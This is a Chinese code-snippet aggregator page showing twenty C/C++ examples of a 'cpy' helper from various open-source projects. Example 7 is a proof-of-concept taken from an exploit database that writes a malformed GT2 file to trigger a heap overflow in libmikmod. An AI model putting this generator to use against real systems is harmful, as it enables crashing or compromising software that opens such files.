本文整理汇总了C++中cpy函数的典型用法代码示例。如果您正苦于以下问题:C++ cpy函数的具体用法?C++ cpy怎么用?C++ cpy使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了cpy函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。
示例1: pl_copy
/*
* Copies a polygon struct.
*
* Also allows to create transformed copies of the struct Polygon by using a
* function that copies the points.
*
* @param Polygon * pl Pointer to the polygon to be copied.
* @param void * cpy A pointer to a function to transform the coords.
* @param int holes Whether or not to also copy the holes.
*
* @return Polygon * A pointer to the copied polygon.
*
*/
Polygon *
pl_copy(const Polygon * pl,
void (*cpy)(vec dest, const vec src),
const int holes)
{
assert(pl);
Polygon * cp= (Polygon *)malloc(sizeof(Polygon));
assert(cp);
memcpy(cp, pl, sizeof(Polygon));
cp->points= (PolyVert *)malloc(pl->size * sizeof(PolyVert));
assert(cp->points);
uint i;
if (cpy){
for (i= 0; i < pl->last; i++){
cpy(cp->points[i].co, pl->points[i].co);
cp->points[i].flags = pl->points[i].flags;
}
cpy(cp->bb.min, pl->bb.min);
cpy(cp->bb.max, pl->bb.max);
}
else{
memcpy(cp->points, pl->points, pl->last * sizeof(PolyVert));
// min & max have already been copied by memcpy.
}
cp->holes = (holes) ? pll_copy(pl->holes, cpy) : NULL;
return cp;
}
开发者ID:alxarch,项目名称:pygons,代码行数:47,代码来源:polygon.c
示例2: unifyToRank0
//分割された領域をまとめる.
static dcomplex* unifyToRank0(dcomplex *phi)
{
SubFieldInfo_S subInfo_s = field_getSubFieldInfo_S();
FieldInfo_S fInfo_s = field_getFieldInfo_S();
//マスターにすべて集める
if(subInfo_s.Rank == 0)
{
MPI_Status status;
dcomplex *entire = newDComplex(fInfo_s.N_CELL);
cpy(entire, phi, subInfo_s.OFFSET_X, subInfo_s.OFFSET_Y, subInfo_s.OFFSET_Z);
dcomplex *tmp = newDComplex(subInfo_s.SUB_N_CELL);
int offset[3];
for(int i=1; i<subInfo_s.Nproc; i++)
{
MPI_Recv(offset, 3, MPI_INT, i, 0, MPI_COMM_WORLD, &status);
MPI_Recv(tmp, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, i, 0, MPI_COMM_WORLD, &status);
cpy(entire, tmp, offset[0], offset[1], offset[2]);
}
free(tmp);
return entire;
}
else {
int offset[3];
offset[0] = subInfo_s.OFFSET_X;
offset[1] = subInfo_s.OFFSET_Y;
offset[2] = subInfo_s.OFFSET_Z;
MPI_Send(offset, 3, MPI_INT, 0, 0, MPI_COMM_WORLD);
MPI_Send(phi, subInfo_s.SUB_N_CELL, MPI_C_DOUBLE_COMPLEX, 0, 0, MPI_COMM_WORLD);
return NULL; //マスター以外はNULLを返す.
}
}
开发者ID:rennone,项目名称:mpiFDTD-3D,代码行数:35,代码来源:mpiFDTD3D_upml.c
示例3: performMathsOp
/**
* Called when running on the host, this performs some maths operation
*/
struct value_defn performMathsOp(unsigned short operation, struct value_defn value) {
struct value_defn result;
result.dtype=SCALAR;
if (operation== RANDOM_MATHS_OP) {
result.type=INT_TYPE;
int r=rand();
cpy(result.data, &r, sizeof(int));
} else {
float fvalue, r;
if (value.type==REAL_TYPE) {
fvalue=*((float*) value.data);
} else if (value.type==INT_TYPE) {
fvalue=(float) *((int*) value.data);
}
result.type=REAL_TYPE;
if (operation==SQRT_MATHS_OP) r=sqrtf(fvalue);
if (operation==SIN_MATHS_OP) r=sinf(fvalue);
if (operation==COS_MATHS_OP) r=cosf(fvalue);
if (operation==TAN_MATHS_OP) r=tanf(fvalue);
if (operation==ASIN_MATHS_OP) r=asinf(fvalue);
if (operation==ACOS_MATHS_OP) r=acosf(fvalue);
if (operation==ATAN_MATHS_OP) r=atanf(fvalue);
if (operation==SINH_MATHS_OP) r=sinhf(fvalue);
if (operation==COSH_MATHS_OP) r=coshf(fvalue);
if (operation==TANH_MATHS_OP) r=tanhf(fvalue);
if (operation==FLOOR_MATHS_OP) r=floorf(fvalue);
if (operation==CEIL_MATHS_OP) r=ceilf(fvalue);
if (operation==LOG_MATHS_OP) r=logf(fvalue);
if (operation==LOG10_MATHS_OP) r=log10f(fvalue);
cpy(result.data, &r, sizeof(float));
}
return result;
}
开发者ID:caidongyun,项目名称:epython,代码行数:36,代码来源:host-functions.c
示例4: handleLet
static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias, int threadId) {
#else
static unsigned int handleLet(char * assembled, unsigned int currentPoint, unsigned int length, char restrictNoAlias) {
#endif
unsigned short varId=getUShort(&assembled[currentPoint]);
currentPoint+=sizeof(unsigned short);
#ifdef HOST_INTERPRETER
struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel[threadId], threadId, 1);
struct value_defn value=getExpressionValue(assembled, ¤tPoint, length, threadId);
if (restrictNoAlias && getVariableSymbol(varId, fnLevel[threadId], threadId, 0)->state==ALIAS) return currentPoint;
#else
struct symbol_node* variableSymbol=getVariableSymbol(varId, fnLevel, 1);
struct value_defn value=getExpressionValue(assembled, ¤tPoint, length);
if (restrictNoAlias && getVariableSymbol(varId, fnLevel, 0)->state==ALIAS) return currentPoint;
#endif
variableSymbol->value.type=value.type;
variableSymbol->value.dtype=value.dtype;
if (value.dtype == ARRAY) {
cpy(variableSymbol->value.data, value.data, sizeof(char*));
} else if (value.type == STRING_TYPE) {
cpy(&variableSymbol->value.data, &value.data, sizeof(char*));
} else {
int currentAddress=getInt(variableSymbol->value.data);
if (currentAddress == 0) {
char * address=getStackMemory(sizeof(int), 0);
cpy(variableSymbol->value.data, &address, sizeof(char*));
cpy(address, value.data, sizeof(int));
} else {
setVariableValue(variableSymbol, value, -1);
}
}
return currentPoint;
}
开发者ID:mesham,项目名称:epython,代码行数:33,代码来源:interpreter.c
示例5: eliminate_nonconformities
int eliminate_nonconformities(MeshType const & input, MeshType & output)
{
int counter = 0;
viennagrid::element_copy_map<double> cpy(output, eps, false);
typedef viennagrid::result_of::vertex_range<MeshType>::type VertexRange;
typedef viennagrid::result_of::iterator<VertexRange>::type VertexIterator;
typedef viennagrid::result_of::element_range<MeshType, 1>::type EdgeRange;
typedef viennagrid::result_of::iterator<EdgeRange>::type EdgeIterator;
EdgeRange edges(input);
VertexRange vertices(input);
for (EdgeIterator eit = edges.begin(); eit != edges.end(); ++eit)
{
bool found = false;
for (VertexIterator vit = vertices.begin(); vit != vertices.end(); ++vit)
{
if ( (*vit == viennagrid::vertices(*eit)[0]) || (*vit == viennagrid::vertices(*eit)[1]) )
continue;
if (viennagrid::is_inside(*eit, viennagrid::get_point(*vit), eps))
{
++counter;
found = true;
ElementType ev0 = cpy(viennagrid::vertices(*eit)[0]);
ElementType ev1 = cpy(viennagrid::vertices(*eit)[1]);
ElementType v = cpy(*vit);
try
{
viennagrid::make_line(output, ev0, v);
}
catch (...) {}
try
{
viennagrid::make_line(output, v, ev1);
}
catch (...) {}
}
}
if (!found)
{
try
{
cpy(*eit);
}
catch (...) {}
}
}
return counter;
}
开发者ID:FlorianRudolf,项目名称:SSAVM-Benchmark,代码行数:59,代码来源:svg_to_vtu.cpp
示例6: copyStringToSharedMemoryAndSetLocation
/**
* Copies some string into shared memory and sets the location in the data core area
*/
static int copyStringToSharedMemoryAndSetLocation(char * string, int start) {
int len=slength(string)+1;
char* ptr=sharedData->core_ctrl[myId].shared_data_start + sharedDataEntries;
cpy(ptr, string, len);
cpy(&sharedData->core_ctrl[myId].data[start], &sharedDataEntries, sizeof(unsigned int));
sharedDataEntries+=len;
return len;
}
开发者ID:caidongyun,项目名称:epython,代码行数:11,代码来源:device-functions.c
示例7: main
int main(int argc, char *argv[]) {
FILE *fd;
gt2_t gt2;
int i;
char *fname;
setbuf(stdout, NULL);
fputs("\n"
"libmikmod <= 3.2.2 and current CVS heap overflow with GT2 files "VER"\n"
"by Luigi Auriemma\n"
"e-mail: [email protected]i.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <output_file.GT2>\n"
"\n", argv[0]);
exit(1);
}
fname = argv[1];
printf("- create file %s\n", fname);
fd = fopen(fname, "wb");
if(!fd) std_err();
gt2.gt2[0] = 'G';
gt2.gt2[1] = 'T';
gt2.gt2[2] = '2';
gt2.version = 4;
gt2.chunk_size = 0; // unused
cpy(gt2.module, "module_name");
cpy(gt2.comments, "author");
gt2.date_day = 1;
gt2.date_month = 1;
gt2.date_year = 2006;
cpy(gt2.tracker, "tracker");
gt2.speed = 6;
gt2.tempo = 300;
gt2.volume = 0;
gt2.voices = 0;
printf("- write GT2 header\n");
fwrite(>2, sizeof(gt2), 1, fd);
for(i = 0; i < gt2.voices; i++) fwi16(fd, 0);
printf("- build the XCOM header for exploiting the heap overflow\n");
fwmem(fd, "XCOM", 4);
fwi32(fd, 0); // unused
fwi32(fd, 0xffffffff); // bug here, 0xffffffff + 1 = 0
fwstr(fd, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");
fclose(fd);
printf("- finished\n");
return(0);
}
开发者ID:MeteorAdminz,项目名称:exploit-database,代码行数:58,代码来源:2073.c
示例8: sendDataToHostProcess
static void sendDataToHostProcess(struct value_defn to_send, int hostProcessTarget) {
cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
sharedData->core_ctrl[myId].data[5]=to_send.type;
cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
unsigned int pb=sharedData->core_ctrl[myId].core_busy;
sharedData->core_ctrl[myId].core_command=5;
sharedData->core_ctrl[myId].core_busy=0;
while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
}
开发者ID:caidongyun,项目名称:epython,代码行数:9,代码来源:device-functions.c
示例9: test_heapsort
void
test_heapsort (size_t N)
{
int status;
double *orig = (double *) malloc (N * sizeof (double));
double *data = (double *) malloc (N * sizeof (double));
size_t *p = (size_t *) malloc (N * sizeof(size_t));
initialize (orig, N);
/* Already sorted */
cpy (data, orig, N);
status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status |= pcheck (p, data, orig, N);
gsl_test (status, "indexing array, n = %u, ordered", N);
gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status = check (data, orig, N);
gsl_test (status, "sorting, array, n = %u, ordered", N);
/* Reverse the data */
cpy (data, orig, N);
reverse (data, N);
status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status |= pcheck (p, data, orig, N);
gsl_test (status, "indexing array, n = %u, reversed", N);
gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status = check (data, orig, N);
gsl_test (status, "sorting, array, n = %u, reversed", N);
/* Perform some shuffling */
cpy (data, orig, N);
randomize (data, N);
status = gsl_heapsort_index (p, data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status |= pcheck (p, data, orig, N);
gsl_test (status, "indexing array, n = %u, randomized", N);
gsl_heapsort (data, N, sizeof (double), (gsl_comparison_fn_t) & cmp_dbl);
status = check (data, orig, N);
gsl_test (status, "sorting, array, n = %u, randomized", N);
free (orig);
free (data);
free (p);
}
开发者ID:tommyliu,项目名称:visionPJ1,代码行数:55,代码来源:test_heapsort.c
示例10: main
int main(int argc, char ** argv)
{
cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
if (strcmp(buffer, "abcdefghijklmnopqrstuvwxyz") != 0) exit(1);
cpy(buffer, buffer+3, 26-3);
if (strcmp(buffer, "abcabcdefghijklmnopqrstuvw") != 0) exit(1);
cpy("abcdefghijklmnopqrstuvwxyz", buffer, 27);
cpy(buffer+3, buffer, 26-3);
if (strcmp(buffer, "defghijklmnopqrstuvwxyzxyz") != 0) exit(1);
exit(0);
}
开发者ID:BrianMulhall,项目名称:ocaml,代码行数:11,代码来源:bytecopy.c
示例11: recvDataFromHostProcess
static struct value_defn recvDataFromHostProcess(int hostSource) {
struct value_defn to_recv;
cpy(sharedData->core_ctrl[myId].data, &hostSource, 4);
unsigned int pb=sharedData->core_ctrl[myId].core_busy;
sharedData->core_ctrl[myId].core_command=6;
sharedData->core_ctrl[myId].core_busy=0;
while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
to_recv.type=sharedData->core_ctrl[myId].data[5];
cpy(to_recv.data, &sharedData->core_ctrl[myId].data[6], 4);
to_recv.dtype=SCALAR;
return to_recv;
}
开发者ID:caidongyun,项目名称:epython,代码行数:12,代码来源:device-functions.c
示例12: sendDataToHostProcess
static void sendDataToHostProcess(struct value_defn to_send, int target, int threadId) {
volatile unsigned char communication_data[6];
communication_data[0]=to_send.type;
cpy(&communication_data[1], to_send.data, 4);
syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
communication_data[5]=syncValues[threadId][target];
char * remoteMemory=(char*) sharedComm[target] + (threadId*6);
cpy(remoteMemory, communication_data, 6);
syncValues[threadId][target]=syncValues[threadId][target]==255 ? 0 : syncValues[threadId][target]+1;
while (communication_data[5] != syncValues[threadId][target]) {
cpy(communication_data, remoteMemory, 6);
}
}
开发者ID:caidongyun,项目名称:epython,代码行数:13,代码来源:host-functions.c
示例13: sendRecvDataWithHostProcess
static struct value_defn sendRecvDataWithHostProcess(struct value_defn to_send, int hostProcessTarget) {
struct value_defn receivedData;
cpy(sharedData->core_ctrl[myId].data, &hostProcessTarget, 4);
sharedData->core_ctrl[myId].data[5]=to_send.type;
cpy(&sharedData->core_ctrl[myId].data[6], to_send.data, 4);
unsigned int pb=sharedData->core_ctrl[myId].core_busy;
sharedData->core_ctrl[myId].core_command=7;
sharedData->core_ctrl[myId].core_busy=0;
while (sharedData->core_ctrl[myId].core_busy==0 || sharedData->core_ctrl[myId].core_busy<=pb) { }
receivedData.type=sharedData->core_ctrl[myId].data[11];
cpy(receivedData.data, &sharedData->core_ctrl[myId].data[12], 4);
receivedData.dtype=SCALAR;
return receivedData;
}
开发者ID:caidongyun,项目名称:epython,代码行数:14,代码来源:device-functions.c
示例14: shortemcluster
int shortemcluster(int n, int p, int k, double *pi, double **X,
double **Mu, double **LTSigma, int maxiter, double eps, double *llhdval,
int *conv_iter, double *conv_eps){
int iter, i, n_par = p * (p + 1) / 2;
double *backup_pi, **backup_Mu, **backup_LTSigma;
double **gamm, llhd, oldllhd, llh0;
MAKE_VECTOR(backup_pi, k);
MAKE_MATRIX(backup_Mu, k, p);
MAKE_MATRIX(backup_LTSigma, k, n_par);
MAKE_MATRIX(gamm, n, k);
estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
llhd = lnlikelihood_gamma(n, k, gamm, pi);
llh0 = llhd;
iter = 0;
do{
oldllhd = llhd;
norm_gamma(n, k, gamm, pi);
for(i = 0; i < k; i++) backup_pi[i] = pi[i];
cpy(Mu, k, p, backup_Mu);
cpy(LTSigma, k, n_par, backup_LTSigma);
mstep(X, n, p, k, pi, Mu, LTSigma, gamm);
estep_gamma(n, p, k, X, gamm, Mu, LTSigma);
llhd = lnlikelihood_gamma(n, k, gamm, pi);
if(oldllhd > llhd){
for(i = 0; i < k; i++) pi[i] = backup_pi[i];
cpy(backup_Mu, k, p, Mu);
cpy(backup_LTSigma, k, n_par, LTSigma);
llhd = oldllhd;
iter--;
break;
}
iter++;
*conv_eps = fabs((oldllhd - llhd) / (llh0 - llhd));
} while((*conv_eps > eps) && (iter < maxiter));
*llhdval = llhd;
*conv_iter = iter;
FREE_VECTOR(backup_pi);
FREE_MATRIX(backup_Mu);
FREE_MATRIX(backup_LTSigma);
FREE_MATRIX(gamm);
return iter;
}
开发者ID:cran,项目名称:EMCluster,代码行数:49,代码来源:M_init_other.c
示例15: cmp
cmp(char s[80],char t[80])
{
char string[80];
int i=0;
for(i=0; i<80&&t[i]; i++)
if(s[i]>t[i])
{
cpy(string,s);
cpy(s,t);
cpy(t,string);
break;
}
else if (s[i]<t[i]) break;
printf("%s %s\n",s,t);
}
开发者ID:zning1994,项目名称:practice,代码行数:15,代码来源:ex2.2.c
示例16: main
main () {
FILE *fin = fopen ("transform.in", "r");
FILE *fout = fopen ("transform.out", "w");
int a, b;
int i,j,k;
char ln[10];
fscanf (fin, "%d", &nt);
for(i=0;i<nt;i++){
fscanf(fin, "%s", ln);
for(j=0;j<nt;j++)pbf[i][j]=ln[j];
}
for(i=0;i<nt;i++){
fscanf(fin, "%s", ln);
for(j=0;j<nt;j++)pt[i][j]=paf[i][j]=ln[j];
}
for(k=1;k<4;k++){
cpy();
rot90(k);
if(ide()){
fprintf (fout, "%d\n", k);exit(0);
}
}
cpy();
ref();
if(ide()){
fprintf (fout, "%d\n", 4);exit(0);
}
for(k=1;k<4;k++){
cpy();
ref();
rot90(k);
if(ide()){
fprintf (fout, "%d\n", 5);exit(0);
}
}
cpy();
if(ide()){
fprintf (fout, "%d\n", 6);exit(0);
}
fprintf (fout, "%d\n", 7);
exit (0);
}
开发者ID:hitme,项目名称:USACO,代码行数:48,代码来源:task07-transform.c
示例17: cpy
gcBuff::gcBuff(const char* src, uint32 size)
{
m_cBuff = new char[size];
m_uiSize = size;
cpy(src, size);
}
开发者ID:EasyCoding,项目名称:desura-app,代码行数:7,代码来源:gcBuff.cpp
示例18: cpy
Image& Image::operator=(const Image& param)
{
if(this == ¶m)
return *(this);
else
return cpy(param);
}
开发者ID:hkeeble,项目名称:MageEngine,代码行数:7,代码来源:image.cpp
示例19: recvDataFromHostProcess
static struct value_defn recvDataFromHostProcess(int source, int threadId) {
struct value_defn to_recv;
volatile unsigned char communication_data[6];
cpy(communication_data, sharedComm[threadId] + (source*6), 6);
syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1;
while (communication_data[5] != syncValues[threadId][source]) {
cpy(communication_data, sharedComm[threadId] + (source*6), 6);
}
syncValues[threadId][source]=syncValues[threadId][source]==255 ? 0 : syncValues[threadId][source]+1;
communication_data[5]=syncValues[threadId][source];
cpy(sharedComm[threadId] + (source*6), communication_data, 6);
to_recv.type=communication_data[0];
cpy(to_recv.data, &communication_data[1], 4);
to_recv.dtype=SCALAR;
return to_recv;
}
开发者ID:caidongyun,项目名称:epython,代码行数:16,代码来源:host-functions.c
示例20: cpy
void Text::clearLastChar() {
if (length() == 0)
return;
string[length() - 1] = '\0';
cpy(string);
}
开发者ID:Argeath,项目名称:Tetris,代码行数:7,代码来源:text.cpp
注:本文中的cpy函数示例由纯净天空整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论